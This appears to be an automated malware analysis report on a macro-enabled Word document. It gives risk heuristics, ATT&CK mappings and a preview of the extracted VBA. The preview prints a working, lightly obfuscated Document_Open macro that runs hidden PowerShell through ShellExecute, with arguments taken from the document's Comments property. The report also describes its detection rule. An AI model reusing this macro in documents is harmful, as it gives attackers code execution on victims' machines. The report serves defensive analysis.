MALICIOUS
118
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains a VBA macro with a Document_Open auto-execution subroutine. This subroutine utilizes CreateObject to instantiate a Shell.Application object, which is then used to execute a command. The script attempts to construct a command by concatenating 'P' with a value obtained from the document's 'Comments' property, likely to download and execute a secondary payload. This indicates a macro-based downloader pattern.
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set wIcE = CreateObject("Shell.Application") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKSDocument contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: file://C:\Users\Administrator\Music\Word_Macro_Builder\100,01111001,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Document hyperlink
- http://schemas.microsoft.com/office/drawing/2014/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexDocument hyperlink
- http://schemas.openxmlformats.org/markup-compatibility/2006Document hyperlink
- http://schemas.microsoft.com/office/drawing/2016/inkDocument hyperlink
- http://schemas.microsoft.com/office/drawing/2017/model3dDocument hyperlink
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsDocument hyperlink
- http://schemas.openxmlformats.org/officeDocument/2006/mathDocument hyperlink
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingDocument hyperlink
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingDocument hyperlink
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainDocument hyperlink
- http://schemas.microsoft.com/office/word/2010/wordmlDocument hyperlink
- http://schemas.microsoft.com/office/word/2012/wordmlDocument hyperlink
- http://schemas.microsoft.com/office/word/2018/wordml/cexDocument hyperlink
- http://schemas.microsoft.com/office/word/2016/wordml/cidDocument hyperlink
- http://schemas.microsoft.com/office/word/2018/wordmlDocument hyperlink
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashDocument hyperlink
- http://schemas.microsoft.com/office/word/2015/wordml/symexDocument hyperlink
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupDocument hyperlink
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkDocument hyperlink
- http://schemas.microsoft.com/office/word/2006/wordmlDocument hyperlink
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeDocument hyperlink
- http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtdDocument hyperlink
- http://www.w3.org/1999/xhtmlDocument hyperlink
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1091 bytes |
SHA-256: 1371a46a9ad0d9b494eb8696f4e7088c5203878d2096b35f930cf2ef3c764665 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "owershell"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GxhtKEm(fgfjhfgfg, fd45cvv0)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Dim wIcE
Set wIcE = CreateObject("Shell.Application")
wIcE.ShellExecute "P" + fd45cvv0, fgfjhfgfg, "", "", 0
End Function
Private Sub Document_Open()
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Dim AiiVi As String, wXBGq, AiiVi2
Dim BKJaHfE As DocumentProperty
For Each BKJaHfE In ActiveDocument.BuiltInDocumentProperties
If BKJaHfE.Name = "Comments" Then
BaVu = BKJaHfE.Value
lLSU = ActiveDocument.CodeName
wXBGq = GxhtKEm(BaVu, lLSU)
End If
Next
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9216 bytes |
SHA-256: 6f2b282459ff1cccf6f40d1229ce8c0812cd783b5987dfd0194c43a6e4778fc6 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.